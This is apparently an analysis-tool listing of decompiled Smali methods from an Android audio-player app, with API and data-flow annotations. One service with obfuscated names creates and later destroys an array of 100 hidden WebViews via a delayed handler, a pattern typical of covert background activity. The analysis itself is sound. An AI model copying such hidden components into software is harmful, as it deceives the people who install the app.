  • com.twdlphqg.app.ActionBarParentActivity.onCreate
  • com.twdlphqg.app.SearchActivity.setContentView
  • com.twdlphqg.app.SearchActivity.getIntent
  • com.twdlphqg.app.SearchActivity.handleIntent
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreate(Landroid/os/Bundle;)V
4const v0, 0x7f03001b
6invoke-virtual {p0, v0}, Lcom/twdlphqg/app/SearchActivity;->setContentView(I)V
  • Data flow analysis:
    • p0: 2130903067
8invoke-virtual {p0}, Lcom/twdlphqg/app/SearchActivity;->getIntent()Landroid/content/Intent;
9move-result-object v0
11invoke-direct {p0, v0}, Lcom/twdlphqg/app/SearchActivity;->handleIntent(Landroid/content/Intent;)V
12return-void
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
Position Instruction Meta Information
0.param p1, "id" # I
1.param p2, "title" # Ljava/lang/String;
2.param p3, "artist" # Ljava/lang/String;
3.param p4, "path" # Ljava/lang/String;
4.param p5, "size" # Ljava/lang/String;
5.param p6, "duration" # Ljava/lang/String;
6.param p7, "extension" # Ljava/lang/String;
7.param p8, "albumId" # I
8.prologue
9const/4 v1, 0x0
11invoke-direct {p0}, Ljava/lang/Object;-><init>()V
13invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
14move-result-object v0
15iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->selected:Ljava/lang/Boolean;
17invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
18move-result-object v0
19iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->checked:Ljava/lang/Boolean;
20iput p1, p0, Lcom/twdlphqg/app/models/Track;->id:I
21iput-object p2, p0, Lcom/twdlphqg/app/models/Track;->title:Ljava/lang/String;
22iput-object p3, p0, Lcom/twdlphqg/app/models/Track;->artist:Ljava/lang/String;
23iput-object p4, p0, Lcom/twdlphqg/app/models/Track;->path:Ljava/lang/String;
24iput-object p5, p0, Lcom/twdlphqg/app/models/Track;->size:Ljava/lang/String;
25iput-object p6, p0, Lcom/twdlphqg/app/models/Track;->duration:Ljava/lang/String;
26iput-object p7, p0, Lcom/twdlphqg/app/models/Track;->extension:Ljava/lang/String;
27iput p8, p0, Lcom/twdlphqg/app/models/Track;->albumId:I
28return-void
Cross References
APIs
  • java.lang.Double.valueOf
  • java.lang.Double.intValue
Position Instruction Meta Information
0.param p0, "currentDuration" # J
1.param p2, "totalDuration" # J
2.prologue
3const-wide/16 v8, 0x3e8
4const-wide/16 v6, 0x0
6invoke-static {v6, v7}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
  • Data flow analysis:
    • p0: 0
7move-result-object v2
8div-long v6, p0, v8
9long-to-int v3, v6
10int-to-long v0, v3
11div-long v6, p2, v8
12long-to-int v3, v6
13int-to-long v4, v3
14long-to-double v6, v0
15long-to-double v8, v4
16div-double/2addr v6, v8
17const-wide/high16 v8, 0x4059000000000000L # 100.0
18mul-double/2addr v6, v8
20invoke-static {v6, v7}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
  • Data flow analysis:
    • p0: 0
21move-result-object v2
23invoke-virtual {v2}, Ljava/lang/Double;->intValue()I
24move-result v3
25return v3
Cross References
APIs
  • com.twdlphqg.app.fragments.PlaylistFragment.findIndexById
  • java.util.ArrayList.get
  • com.twdlphqg.app.adapter.PlaylistAdapter.notifyDataSetChanged
Position Instruction Meta Information
0.param p1, "playlist" # Lcom/twdlphqg/app/models/Playlist;
1.prologue
3invoke-virtual {p1}, Lcom/twdlphqg/app/models/Playlist;->getId()I
4move-result v1
6invoke-direct {p0, v1}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->findIndexById(I)I
7move-result v0
8if-ltz v0, :cond_19
10iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
12invoke-virtual {v1, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
13move-result-object v1
14check-cast v1, Lcom/twdlphqg/app/models/Playlist;
16invoke-virtual {p1}, Lcom/twdlphqg/app/models/Playlist;->getName()Ljava/lang/String;
17move-result-object v2
19invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Playlist;->setName(Ljava/lang/String;)V
20cond_19:
21iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
23invoke-virtual {v1}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->notifyDataSetChanged()V
24return-void
APIs
  • android.app.Service.onDestroy
  • android.webkit.WebView.destroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3const/4 v0, 0x0
4goto_4: const/16 v1, 0x64
5if-lt v0, v1, :cond_9
6return-void
7cond_9:
8iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
9aget-object v1, v1, v0
11invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V
13iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
15invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V
16try_end_15: add-int/lit8 v0, v0, 0x1
17goto/16 :goto_4
18catch_18: move-exception v1
19goto/16 :goto_15
APIs
  • android.support.v4.app.FragmentManager.executePendingTransactions
  • java.util.ArrayList.get
  • android.support.v4.app.FragmentManager.saveFragmentInstanceState
Position Instruction Meta Information
0.param p1, "container" # Landroid/view/View;
1.param p2, "position" # I
2.param p3, "object" # Ljava/lang/Object;
3.prologue
5iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fm:Landroid/support/v4/app/FragmentManager;
7invoke-virtual {v0}, Landroid/support/v4/app/FragmentManager;->executePendingTransactions()Z
9iget-object v1, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fm:Landroid/support/v4/app/FragmentManager;
11iget-object v0, p0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->fragments:Ljava/util/ArrayList;
13invoke-virtual {v0, p2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
14move-result-object v0
15check-cast v0, Landroid/support/v4/app/Fragment;
17invoke-virtual {v1, v0}, Landroid/support/v4/app/FragmentManager;->saveFragmentInstanceState(Landroid/support/v4/app/Fragment;)Landroid/support/v4/app/Fragment$SavedState;
18return-void
APIs
  • android.widget.ArrayAdapter.getView
  • android.view.View.findViewById
  • android.widget.TextView.setText
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
5invoke-super {p0, p1, p2, p3}, Landroid/widget/ArrayAdapter;->getView(ILandroid/view/View;Landroid/view/ViewGroup;)Landroid/view/View;
6move-result-object v1
7const v2, 0x1020014
9invoke-virtual {v1, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 16908308
10move-result-object v0
11check-cast v0, Landroid/widget/TextView;
13const-string v2, ""
15invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
16return-object v1
Cross References
APIs
  • java.lang.Object.<init>
  • com.twdlphqg.app.dals.DB.<init>
  • com.twdlphqg.app.dals.DB.getWritableDatabase
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4new-instance v0, Lcom/twdlphqg/app/dals/DB;
6invoke-direct {v0, p1}, Lcom/twdlphqg/app/dals/DB;-><init>(Landroid/content/Context;)V
7iput-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
9iget-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
11invoke-virtual {v0}, Lcom/twdlphqg/app/dals/DB;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
12move-result-object v0
13iput-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
14return-void
Cross References
APIs
  • android.media.MediaPlayer.start
  • com.twdlphqg.app.services.AudioPlayerService.showNotification
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
3if-eqz v1, :cond_c
5iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
7invoke-virtual {v1}, Landroid/media/MediaPlayer;->start()V
9invoke-virtual {p0}, Lcom/twdlphqg/app/services/AudioPlayerService;->showNotification()V
10cond_c: return-void
11catch_d: move-exception v0
13invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
14goto/16 :goto_c
APIs
  • android.app.Service.onCreate
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3try_start_3: new-instance v0, Landroid/os/Handler;
5invoke-direct {v0}, Landroid/os/Handler;-><init>()V
6new-instance v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$1;
8invoke-direct {v1, p0}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$1;-><init>(Lcom/twdlphqg/app/services/Ryiidrxcjmfb;)V
9const-wide/16 v2, 0x2
11invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 2
12try_end_12: return-void
13catch_13: move-exception v1
14goto/16 :goto_12
APIs
  • android.app.Service.<init>
  • com.twdlphqg.app.services.AudioPlayerService$PlayerBinder.<init>
  • com.twdlphqg.app.services.AudioPlayerService$1.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3new-instance v0, Lcom/twdlphqg/app/services/AudioPlayerService$PlayerBinder;
5invoke-direct {v0, p0}, Lcom/twdlphqg/app/services/AudioPlayerService$PlayerBinder;-><init>(Lcom/twdlphqg/app/services/AudioPlayerService;)V
6iput-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mBinder:Landroid/os/IBinder;
7const/16 v0, 0x6f
8iput v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->NOTIFICATION_ID:I
9new-instance v0, Lcom/twdlphqg/app/services/AudioPlayerService$1;
11invoke-direct {v0, p0}, Lcom/twdlphqg/app/services/AudioPlayerService$1;-><init>(Lcom/twdlphqg/app/services/AudioPlayerService;)V
12iput-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->receiver:Landroid/content/BroadcastReceiver;
13return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onStart
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onStart()V
3new-instance v0, Landroid/os/Handler;
5invoke-direct {v0}, Landroid/os/Handler;-><init>()V
6new-instance v1, Lcom/twdlphqg/app/ExplorationActivity$2;
8invoke-direct {v1, p0}, Lcom/twdlphqg/app/ExplorationActivity$2;-><init>(Lcom/twdlphqg/app/ExplorationActivity;)V
9const-wide/16 v2, 0x2
11invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 2
12return-void
APIs
  • android.view.View.<init>
  • android.view.View.setMinimumHeight
  • android.view.View.setMinimumWidth
Position Instruction Meta Information
0.param p1, "tag" # Ljava/lang/String;
1.prologue
2const/4 v2, 0x0
3new-instance v0, Landroid/view/View;
5iget-object v1, p0, Lcom/twdlphqg/app/factory/ExplorationTabFactory;->context:Landroid/content/Context;
7invoke-direct {v0, v1}, Landroid/view/View;-><init>(Landroid/content/Context;)V
9invoke-virtual {v0, v2}, Landroid/view/View;->setMinimumHeight(I)V
  • Data flow analysis:
    • minHeight: 0
11invoke-virtual {v0, v2}, Landroid/view/View;->setMinimumWidth(I)V
  • Data flow analysis:
    • minWidth: 0
12return-object v0
Cross References
APIs
  • java.lang.Object.<init>
  • android.os.Parcel.readInt
  • android.os.Parcel.readString
Position Instruction Meta Information
0.param p1, "in" # Landroid/os/Parcel;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
6move-result v0
7iput v0, p0, Lcom/twdlphqg/app/models/Artist;->id:I
9invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
10move-result-object v0
11iput-object v0, p0, Lcom/twdlphqg/app/models/Artist;->artist:Ljava/lang/String;
12return-void
Cross References
APIs
  • java.lang.Object.<init>
  • java.lang.Boolean.valueOf
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
6move-result-object v0
7iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->selected:Ljava/lang/Boolean;
9invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
10move-result-object v0
11iput-object v0, p0, Lcom/twdlphqg/app/models/Track;->checked:Ljava/lang/Boolean;
12return-void
Cross References
APIs
  • android.support.v7.app.ActionBarActivity.<init>
  • java.util.LinkedHashSet.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v7/app/ActionBarActivity;-><init>()V
3new-instance v0, Ljava/util/LinkedHashSet;
5invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
6iput-object v0, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->enableItems:Ljava/util/LinkedHashSet;
7new-instance v0, Ljava/util/LinkedHashSet;
9invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
10iput-object v0, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->disableItems:Ljava/util/LinkedHashSet;
11return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.<init>
  • java.util.LinkedHashSet.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;-><init>()V
3new-instance v0, Ljava/util/LinkedHashSet;
5invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
6iput-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->disabledItems:Ljava/util/LinkedHashSet;
7new-instance v0, Ljava/util/LinkedHashSet;
9invoke-direct {v0}, Ljava/util/LinkedHashSet;-><init>()V
10iput-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->enableItems:Ljava/util/LinkedHashSet;
11return-void
Cross References
APIs
  • android.database.sqlite.SQLiteOpenHelper.<init>
Strings
  • audio_player
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
3const-string v0, "audio_player"
4const/4 v1, 0x0
5const/4 v2, 0x1
7invoke-direct {p0, p1, v0, v1, v2}, Landroid/database/sqlite/SQLiteOpenHelper;-><init>(Landroid/content/Context;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)V
  • Data flow analysis:
    • p1: audio_player
    • p2: 0
    • p3: 1
8iput-object p1, p0, Lcom/twdlphqg/app/dals/DB;->context:Landroid/content/Context;
9return-void
APIs
  • android.content.Context.deleteDatabase
Strings
  • audio_player
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/dals/DB;->context:Landroid/content/Context;
4const-string v1, "audio_player"
6invoke-virtual {v0, v1}, Landroid/content/Context;->deleteDatabase(Ljava/lang/String;)Z
  • Data flow analysis:
    • name: audio_player
7return-void
APIs
  • java.util.ArrayList.size
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Lcom/twdlphqg/app/models/Track;",
5"Ljava/util/ArrayList",
6"<",
7"Lcom/twdlphqg/app/models/Playlist;",
8">;)V"
9}
10.end annotation
11.prologue
12new-instance v1, Lcom/twdlphqg/app/dals/TrackDal;
14invoke-direct {v1, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
16invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
17const/4 v0, 0x0
18goto_9:
19invoke-virtual {p2}, Ljava/util/ArrayList;->size()I
20move-result v2
21if-lt v0, v2, :cond_13
23invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
24return-void
25cond_13:
26invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
27move-result-object v2
28check-cast v2, Lcom/twdlphqg/app/models/Playlist;
30invoke-virtual {v2}, Lcom/twdlphqg/app/models/Playlist;->getId()I
31move-result v2
33invoke-virtual {v1, p1, v2}, Lcom/twdlphqg/app/dals/TrackDal;->insertTrack(Lcom/twdlphqg/app/models/Track;I)V
34add-int/lit8 v0, v0, 0x1
35goto/16 :goto_9
APIs
  • java.util.ArrayList.size
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Lcom/twdlphqg/app/models/Track;",
5"Ljava/util/ArrayList",
6"<",
7"Lcom/twdlphqg/app/models/Playlist;",
8">;)V"
9}
10.end annotation
11.prologue
12new-instance v1, Lcom/twdlphqg/app/dals/TrackDal;
14invoke-direct {v1, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
16invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
17const/4 v0, 0x0
18goto_9:
19invoke-virtual {p2}, Ljava/util/ArrayList;->size()I
20move-result v2
21if-lt v0, v2, :cond_13
23invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
24return-void
25cond_13:
26invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
27move-result-object v2
28check-cast v2, Lcom/twdlphqg/app/models/Playlist;
30invoke-virtual {v2}, Lcom/twdlphqg/app/models/Playlist;->getId()I
31move-result v2
33invoke-virtual {v1, p1, v2}, Lcom/twdlphqg/app/dals/TrackDal;->insertTrack(Lcom/twdlphqg/app/models/Track;I)V
34add-int/lit8 v0, v0, 0x1
35goto/16 :goto_9
APIs
  • java.util.ArrayList.size
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "track" # Lcom/twdlphqg/app/models/Track;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Lcom/twdlphqg/app/models/Track;",
5"Ljava/util/ArrayList",
6"<",
7"Lcom/twdlphqg/app/models/Playlist;",
8">;)V"
9}
10.end annotation
11.prologue
12new-instance v1, Lcom/twdlphqg/app/dals/TrackDal;
14invoke-direct {v1, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
16invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
17const/4 v0, 0x0
18goto_9:
19invoke-virtual {p2}, Ljava/util/ArrayList;->size()I
20move-result v2
21if-lt v0, v2, :cond_13
23invoke-virtual {v1}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
24return-void
25cond_13:
26invoke-virtual {p2, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
27move-result-object v2
28check-cast v2, Lcom/twdlphqg/app/models/Playlist;
30invoke-virtual {v2}, Lcom/twdlphqg/app/models/Playlist;->getId()I
31move-result v2
33invoke-virtual {v1, p1, v2}, Lcom/twdlphqg/app/dals/TrackDal;->insertTrack(Lcom/twdlphqg/app/models/Track;I)V
34add-int/lit8 v0, v0, 0x1
35goto/16 :goto_9
APIs
  • java.util.ArrayList.isEmpty
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.dismiss
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
5iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->selectedPlaylists:Ljava/util/ArrayList;
7invoke-virtual {v0}, Ljava/util/ArrayList;->isEmpty()Z
8move-result v0
9if-nez v0, :cond_1e
11iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
13iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomSelectPlaylistDialogComunicator;
15iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
17iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->track:Lcom/twdlphqg/app/models/Track;
19iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
21iget-object v2, v2, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->selectedPlaylists:Ljava/util/ArrayList;
23invoke-interface {v0, v1, v2}, Lcom/twdlphqg/app/interfaces/CustomSelectPlaylistDialogComunicator;->addTrackToPlaylist(Lcom/twdlphqg/app/models/Track;Ljava/util/ArrayList;)V
25iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
27invoke-virtual {v0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->dismiss()V
28cond_1e: return-void
APIs
  • com.twdlphqg.app.adapter.TabsPagerAdapter.getItem
  • com.twdlphqg.app.fragments.PlaylistFragment.refresh
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.param p2, "playlist" # Lcom/twdlphqg/app/models/Playlist;
2.prologue
3new-instance v0, Lcom/twdlphqg/app/dals/PlaylistDal;
5invoke-direct {v0, p0}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
7invoke-virtual {p2}, Lcom/twdlphqg/app/models/Playlist;->getId()I
8move-result v2
10invoke-virtual {v0, p1, v2}, Lcom/twdlphqg/app/dals/PlaylistDal;->renamePlayList(Ljava/lang/String;I)V
12invoke-virtual {v0}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
14iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
15if-eqz v2, :cond_22
17iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
18const/4 v3, 0x3
20invoke-virtual {v2, v3}, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;->getItem(I)Landroid/support/v4/app/Fragment;
  • Data flow analysis:
    • p0: 3
21move-result-object v1
22check-cast v1, Lcom/twdlphqg/app/fragments/PlaylistFragment;
24invoke-virtual {p2, p1}, Lcom/twdlphqg/app/models/Playlist;->setName(Ljava/lang/String;)V
26invoke-virtual {v1, p2}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->refresh(Lcom/twdlphqg/app/models/Playlist;)V
27cond_22: return-void
APIs
  • java.util.ArrayList.isEmpty
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.dismiss
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
5iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->selectedTracks:Ljava/util/ArrayList;
7invoke-virtual {v0}, Ljava/util/ArrayList;->isEmpty()Z
8move-result v0
9if-nez v0, :cond_1a
11iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
13iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomSelectTrackDialogComunicator;
15iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
17iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->selectedTracks:Ljava/util/ArrayList;
19invoke-interface {v0, v1}, Lcom/twdlphqg/app/interfaces/CustomSelectTrackDialogComunicator;->savePlaylist(Ljava/util/ArrayList;)V
21iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
23invoke-virtual {v0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->dismiss()V
24cond_1a: return-void
Cross References
APIs
  • java.util.ArrayList.size
  • java.util.ArrayList.get
Position Instruction Meta Information
0.param p1, "id" # I
1.prologue
2const/4 v0, 0x0
3goto_1:
4iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
6invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
7move-result v1
8if-lt v0, v1, :cond_b
9const/4 v0, -0x1
10cond_a: return v0
11cond_b:
12iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
14invoke-virtual {v1, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
15move-result-object v1
16check-cast v1, Lcom/twdlphqg/app/models/Playlist;
18invoke-virtual {v1}, Lcom/twdlphqg/app/models/Playlist;->getId()I
19move-result v1
20if-eq v1, p1, :cond_a
21add-int/lit8 v0, v0, 0x1
22goto/16 :goto_1
Cross References
APIs
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.notifyDataSetChanged
  • com.twdlphqg.app.TouchInterceptor.setSelection
Position Instruction Meta Information
0.param p1, "trackIndex" # I
1.prologue
2iput p1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
4iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
5if-eqz v0, :cond_14
7iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
8if-eqz v0, :cond_14
10iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
12invoke-virtual {v0}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->notifyDataSetChanged()V
14iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
16invoke-virtual {v0, p1}, Lcom/twdlphqg/app/TouchInterceptor;->setSelection(I)V
17cond_14: return-void
Cross References
APIs
  • com.twdlphqg.app.dals.DB.<init>
  • com.twdlphqg.app.dals.DB.getWritableDatabase
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/dals/DB;
3iget-object v1, p0, Lcom/twdlphqg/app/dals/TrackDal;->context:Landroid/content/Context;
5invoke-direct {v0, v1}, Lcom/twdlphqg/app/dals/DB;-><init>(Landroid/content/Context;)V
6iput-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
8iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
10invoke-virtual {v0}, Lcom/twdlphqg/app/dals/DB;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
11move-result-object v0
12iput-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
13return-void
APIs
  • com.twdlphqg.app.dals.DB.<init>
  • com.twdlphqg.app.dals.DB.getWritableDatabase
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
2new-instance v0, Lcom/twdlphqg/app/dals/DB;
4invoke-direct {v0, p1}, Lcom/twdlphqg/app/dals/DB;-><init>(Landroid/content/Context;)V
5iput-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
7iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->dbOpen:Lcom/twdlphqg/app/dals/DB;
9invoke-virtual {v0}, Lcom/twdlphqg/app/dals/DB;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
10move-result-object v0
